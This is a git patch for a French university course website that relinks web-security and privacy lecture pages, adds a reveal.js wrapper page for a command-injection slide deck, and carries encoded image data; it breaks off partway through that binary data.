From 2c4ef04ffbb179c3232683b941adf8438cb58a6e Mon Sep 17 00:00:00 2001
From: Vincent Mazenod <vmazenod@gmail.com>
Date: Sun, 6 Jan 2019 00:42:48 +0100
Subject: [PATCH] =?UTF-8?q?privacy-crypto=20+=20websec=20fusionn=C3=A9s=20?=
 =?UTF-8?q?raccourcis?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 content/Etudiants/zz2-f5-privacy-crypto.md    |   7 +-
 content/Etudiants/zz2-f5-websec.md            |  15 +-
 content/slides/1337/cmdi.html                 |  70 +++++++++
 .../1337/images/authentication/Shibboleth.png | Bin 0 -> 21232 bytes
 .../authentication/google-authenticator.png   | Bin 0 -> 19601 bytes
 content/slides/1337/md/authentication.md      |  14 +-
 content/slides/1337/md/cmdi.md                | 148 ++++++++++++++++++
 content/slides/1337/md/http.md                |   9 +-
 content/slides/index.html                     |   2 +-
 content/slides/privacy/md/TLSvsPGP.md         |  13 +-
 content/slides/privacy/md/crypto.md           |   2 +-
 content/slides/privacy/md/tls.md              |   2 +-
 12 files changed, 262 insertions(+), 20 deletions(-)
 create mode 100644 content/slides/1337/cmdi.html
 create mode 100644 content/slides/1337/images/authentication/Shibboleth.png
 create mode 100644 content/slides/1337/images/authentication/google-authenticator.png
 create mode 100644 content/slides/1337/md/cmdi.md

diff --git a/content/Etudiants/zz2-f5-privacy-crypto.md b/content/Etudiants/zz2-f5-privacy-crypto.md
index 43221fc..0fa9729 100644
--- a/content/Etudiants/zz2-f5-privacy-crypto.md
+++ b/content/Etudiants/zz2-f5-privacy-crypto.md
@@ -13,16 +13,21 @@ Tags: cours
   * [mots de passes](slides/privacy/passwords.html)
   * [tracking](slides/privacy/tracking.html)
   * [souveraineté](slides/privacy/sovereignty.html)
-  * [tails](slides/privacy/tails.html)
+
+  <!-- * [tails](slides/privacy/tails.html) -->
 
 ### Crypto
 
   * [principes cryptographiques](slides/privacy/crypto.html)
   * [tls](slides/privacy/tls.html)
+    * [Heartbleed](slides/1337/heartbleed.html)
+
+<!--
   * [pgp](slides/privacy/pgp.html)
   * [tls vs pgp](slides/privacy/TLSvsPGP.html)
   * [tor](slides/privacy/tor.html) / [tor pour les moldus](slides/privacy/tor_lite.html)
   * [bitcoin](slides/privacy/bitcoin.html)
+-->
 
 <div class="panel panel-success">
   <div class="panel-heading">
diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md
index 8f35991..759a390 100644
--- a/content/Etudiants/zz2-f5-websec.md
+++ b/content/Etudiants/zz2-f5-websec.md
@@ -9,24 +9,25 @@ Tags: cours
 
 * Architecture
 
-    * [HTTP](slides/1337/http.htm)
+    * [HTTP](slides/1337/http.html)
 
 * Pentesting
 
-    * [Collecter](https://doc.m4z3.me/_/1337/collecter.htm)
-    * [Détecter](https://doc.m4z3.me/_/1337/detecter.htm)
+    * [Collecter](slides/1337/collecting.html)
 
-* Exploit
+    * [Détecter](slides/1337/detecting.html)
+
+<!-- * Exploit
 
-    * [Heartbleed](https://doc.m4z3.me/_/1337/heartbleed.htm)
+    * [Heartbleed](slides/1337/heartbleed.html) -->
 
 * Mécanisme
 
-    * [Authentification](https://doc.m4z3.me/_/1337/AUTH.htm)
+    * [Authentification](slides/1337/authentication.html)
 
 * Vulnérabilités communes
 
-    * [Command execution](https://doc.m4z3.me/_/1337/CMDi.htm)
+    * [Command execution](slides/1337/cmdi.html)
 
 * Exploit
 
diff --git a/content/slides/1337/cmdi.html b/content/slides/1337/cmdi.html
new file mode 100644
index 0000000..84b376e
--- /dev/null
+++ b/content/slides/1337/cmdi.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>CMDi</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/cmdi.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/images/authentication/Shibboleth.png b/content/slides/1337/images/authentication/Shibboleth.png
new file mode 100644
index 0000000000000000000000000000000000000000..9911a9b8309321dcaece4d4326abf88ab62774ac
GIT binary patch
literal 21232
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
